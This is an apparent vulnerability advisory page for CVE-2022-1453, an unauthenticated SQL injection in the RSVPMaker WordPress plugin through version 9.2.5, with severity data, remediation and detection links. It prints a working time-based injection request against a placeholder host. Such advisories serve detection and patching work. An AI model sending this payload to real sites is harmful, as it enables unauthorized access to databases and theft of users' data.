🔙 목록으로 돌아가기

CVE-2022-1453: RSVPMaker <= 9.2.5 - SQL Injection

TitleRSVPMaker <= 9.2.5 - SQL Injection
AuthorShivam Kamboj
SeverityCritical
ImpactAttackers can retrieve sensitive data from the database without authentication, leading to data breach and privacy violations.
RemediationUpdate to version 9.2.6, or later
CVSS Score9.8
EPSS Score0.622
CVE IDCVE-2022-1453
CWE IDCWE-89
Tags cve cve2022 wordpress wp wp-plugin sqli rsvpmaker

🔍 Vulnerability Description

The RSVPMaker plugin for WordPress is vulnerable to unauthenticated SQL Injection due to missing SQL escaping and parameterization on user supplied data passed to a SQL query in the rsvpmaker-util.php file. This makes it possible for unauthenticated attackers to steal sensitive information from the database in versions up to and including 9.2.5.

🌐 HTTP Request

GET /wp-json/rsvpmaker/v1/sked/1?post_id=(SELECT%209999%20FROM%20(SELECT(SLEEP(7)))a) HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-1453.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-1453.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A